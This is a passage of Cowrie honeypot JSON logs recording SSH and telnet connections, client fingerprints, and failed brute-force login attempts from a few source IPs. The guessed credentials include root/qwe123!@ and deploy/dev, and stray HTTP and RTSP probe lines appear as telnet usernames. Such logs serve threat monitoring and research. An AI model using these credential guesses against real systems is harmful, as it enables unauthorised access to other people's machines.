@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:48.406749Z","src_ip":"27.71.230.31","session":"bd3eb176a1c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:48.451672Z","src_ip":"91.92.42.227","session":"b2a84d35b063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwe123!@","message":"login attempt [root/qwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:49.469033Z","src_ip":"91.92.42.227","session":"b2a84d35b063","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":3.150465726852417,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:50.780580Z","src_ip":"34.79.127.0","session":"6613796619bf","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:50.788120Z","src_ip":"91.92.42.227","session":"b2a84d35b063","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin232322","message":"login attempt [root/Admin232322] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:50.835471Z","src_ip":"27.71.230.31","session":"bd3eb176a1c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.7","message":"Connection lost after 7.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:53.851698Z","src_ip":"27.71.230.31","session":"bd3eb176a1c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34306,"dst_ip":"10.17.0.5","dst_port":22,"session":"89f6000902d4","protocol":"ssh","message":"New connection: 91.92.42.227:34306 (10.17.0.5:22) [session: 89f6000902d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:54.656941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:54.926876Z","src_ip":"91.92.42.227","session":"89f6000902d4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:54.932172Z","src_ip":"91.92.42.227","session":"89f6000902d4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"trinity","password":"trinity","message":"login attempt [trinity/trinity] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:57.124033Z","src_ip":"91.92.42.227","session":"89f6000902d4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:01:58.666596Z","src_ip":"91.92.42.227","session":"89f6000902d4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":34364,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f800ba9c76","protocol":"ssh","message":"New connection: 91.92.42.227:34364 (10.17.0.5:22) [session: 26f800ba9c76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:02.264793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:02.341142Z","src_ip":"91.92.42.227","session":"26f800ba9c76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:02.415808Z","src_ip":"91.92.42.227","session":"26f800ba9c76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"dev","message":"login attempt [deploy/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:02.985699Z","src_ip":"91.92.42.227","session":"26f800ba9c76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:04.093003Z","src_ip":"91.92.42.227","session":"26f800ba9c76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50414,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb4fce225ed7","protocol":"telnet","message":"New connection: 34.79.127.0:50414 (10.17.0.5:23) [session: eb4fce225ed7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.120574Z"}
{"eventid":"cowrie.login.failed","username":"GET / HTTP/1.1","password":"Host: 134.199.244.163:23","message":"login attempt [GET / HTTP/1.1/Host: 134.199.244.163:23] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.125262Z","src_ip":"34.79.127.0","session":"eb4fce225ed7","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36","password":"Accept-Encoding: gzip","message":"login attempt [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36/Accept-Encoding: gzip] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.128334Z","src_ip":"34.79.127.0","session":"eb4fce225ed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":0.0910940170288086,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.211540Z","src_ip":"34.79.127.0","session":"eb4fce225ed7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":19.296794414520264,"message":"Connection lost after 19 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.253688Z","src_ip":"34.79.127.0","session":"765a5d09dd4d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50426,"dst_ip":"10.17.0.5","dst_port":23,"session":"986b726b6b6c","protocol":"telnet","message":"New connection: 34.79.127.0:50426 (10.17.0.5:23) [session: 986b726b6b6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.290445Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50436,"dst_ip":"10.17.0.5","dst_port":23,"session":"855e8e581122","protocol":"telnet","message":"New connection: 34.79.127.0:50436 (10.17.0.5:23) [session: 855e8e581122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.451987Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50446,"dst_ip":"10.17.0.5","dst_port":23,"session":"7cfc33bf30d4","protocol":"telnet","message":"New connection: 34.79.127.0:50446 (10.17.0.5:23) [session: 7cfc33bf30d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.613860Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50454,"dst_ip":"10.17.0.5","dst_port":23,"session":"f669d6191bc3","protocol":"telnet","message":"New connection: 34.79.127.0:50454 (10.17.0.5:23) [session: f669d6191bc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.780888Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50462,"dst_ip":"10.17.0.5","dst_port":23,"session":"80c74c27bcbf","protocol":"telnet","message":"New connection: 34.79.127.0:50462 (10.17.0.5:23) [session: 80c74c27bcbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:07.944780Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50468,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e3d4a44f436","protocol":"telnet","message":"New connection: 34.79.127.0:50468 (10.17.0.5:23) [session: 3e3d4a44f436]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:08.107435Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50472,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2d7c7ae0dd7","protocol":"telnet","message":"New connection: 34.79.127.0:50472 (10.17.0.5:23) [session: d2d7c7ae0dd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:08.269928Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50480,"dst_ip":"10.17.0.5","dst_port":23,"session":"6b2cd485b708","protocol":"telnet","message":"New connection: 34.79.127.0:50480 (10.17.0.5:23) [session: 6b2cd485b708]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:08.432173Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50496,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5184e135cb0","protocol":"telnet","message":"New connection: 34.79.127.0:50496 (10.17.0.5:23) [session: b5184e135cb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:08.593951Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50498,"dst_ip":"10.17.0.5","dst_port":23,"session":"676fa3f06c53","protocol":"telnet","message":"New connection: 34.79.127.0:50498 (10.17.0.5:23) [session: 676fa3f06c53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:08.841084Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50506,"dst_ip":"10.17.0.5","dst_port":23,"session":"9ba75c5c4014","protocol":"telnet","message":"New connection: 34.79.127.0:50506 (10.17.0.5:23) [session: 9ba75c5c4014]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.007364Z"}
{"eventid":"cowrie.session.closed","duration":0.005380392074584961,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.012601Z","src_ip":"34.79.127.0","session":"9ba75c5c4014","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50512,"dst_ip":"10.17.0.5","dst_port":23,"session":"704f42e46379","protocol":"telnet","message":"New connection: 34.79.127.0:50512 (10.17.0.5:23) [session: 704f42e46379]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.171758Z"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":54306,"dst_ip":"10.17.0.5","dst_port":22,"session":"62d45e17a265","protocol":"ssh","message":"New connection: 91.92.42.227:54306 (10.17.0.5:22) [session: 62d45e17a265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.242762Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50514,"dst_ip":"10.17.0.5","dst_port":23,"session":"e537c370163e","protocol":"telnet","message":"New connection: 34.79.127.0:50514 (10.17.0.5:23) [session: e537c370163e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.335482Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.362109Z","src_ip":"91.92.42.227","session":"62d45e17a265","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.365382Z","src_ip":"91.92.42.227","session":"62d45e17a265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50522,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb0f042f1724","protocol":"telnet","message":"New connection: 34.79.127.0:50522 (10.17.0.5:23) [session: cb0f042f1724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.497544Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50532,"dst_ip":"10.17.0.5","dst_port":23,"session":"a6a545ac3f39","protocol":"telnet","message":"New connection: 34.79.127.0:50532 (10.17.0.5:23) [session: a6a545ac3f39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.661896Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50540,"dst_ip":"10.17.0.5","dst_port":23,"session":"18e7fef10f08","protocol":"telnet","message":"New connection: 34.79.127.0:50540 (10.17.0.5:23) [session: 18e7fef10f08]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.824591Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50548,"dst_ip":"10.17.0.5","dst_port":23,"session":"3149034503f3","protocol":"telnet","message":"New connection: 34.79.127.0:50548 (10.17.0.5:23) [session: 3149034503f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:09.988456Z"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"123456789","message":"login attempt [deploy/123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.134901Z","src_ip":"91.92.42.227","session":"62d45e17a265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50562,"dst_ip":"10.17.0.5","dst_port":23,"session":"43e1b6bcb820","protocol":"telnet","message":"New connection: 34.79.127.0:50562 (10.17.0.5:23) [session: 43e1b6bcb820]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.150799Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50576,"dst_ip":"10.17.0.5","dst_port":23,"session":"bf3797812bea","protocol":"telnet","message":"New connection: 34.79.127.0:50576 (10.17.0.5:23) [session: bf3797812bea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.313495Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50584,"dst_ip":"10.17.0.5","dst_port":23,"session":"eb42f194b0bc","protocol":"telnet","message":"New connection: 34.79.127.0:50584 (10.17.0.5:23) [session: eb42f194b0bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.477221Z"}
{"eventid":"cowrie.login.failed","username":"*1","password":"$4","message":"login attempt [*1/$4] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.481907Z","src_ip":"34.79.127.0","session":"eb42f194b0bc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50600,"dst_ip":"10.17.0.5","dst_port":23,"session":"e801d2b6401f","protocol":"telnet","message":"New connection: 34.79.127.0:50600 (10.17.0.5:23) [session: e801d2b6401f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.641005Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50608,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad43e156b6ec","protocol":"telnet","message":"New connection: 34.79.127.0:50608 (10.17.0.5:23) [session: ad43e156b6ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.804058Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50610,"dst_ip":"10.17.0.5","dst_port":23,"session":"af1ddafc317b","protocol":"telnet","message":"New connection: 34.79.127.0:50610 (10.17.0.5:23) [session: af1ddafc317b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:10.965502Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50626,"dst_ip":"10.17.0.5","dst_port":23,"session":"edbd4b272d51","protocol":"telnet","message":"New connection: 34.79.127.0:50626 (10.17.0.5:23) [session: edbd4b272d51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.127487Z"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.239185Z","src_ip":"91.92.42.227","session":"62d45e17a265","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50634,"dst_ip":"10.17.0.5","dst_port":23,"session":"95d779e24cc3","protocol":"telnet","message":"New connection: 34.79.127.0:50634 (10.17.0.5:23) [session: 95d779e24cc3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.291119Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50648,"dst_ip":"10.17.0.5","dst_port":23,"session":"0615a497483b","protocol":"telnet","message":"New connection: 34.79.127.0:50648 (10.17.0.5:23) [session: 0615a497483b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.455237Z"}
{"eventid":"cowrie.session.closed","duration":0.004951000213623047,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.460050Z","src_ip":"34.79.127.0","session":"0615a497483b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50658,"dst_ip":"10.17.0.5","dst_port":23,"session":"5870ff9873c9","protocol":"telnet","message":"New connection: 34.79.127.0:50658 (10.17.0.5:23) [session: 5870ff9873c9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.617467Z"}
{"eventid":"cowrie.session.connect","src_ip":"34.79.127.0","src_port":50672,"dst_ip":"10.17.0.5","dst_port":23,"session":"3107a10d9cc9","protocol":"telnet","message":"New connection: 34.79.127.0:50672 (10.17.0.5:23) [session: 3107a10d9cc9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.779453Z"}
{"eventid":"cowrie.login.failed","username":"OPTIONS rtsp://example.com RTSP/1.0","password":"Cseq: 7146","message":"login attempt [OPTIONS rtsp://example.com RTSP/1.0/Cseq: 7146] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T07:02:11.784066Z","src_ip":"34.79.127.0","session":"3107a10d9cc9","protocol":"telnet"}
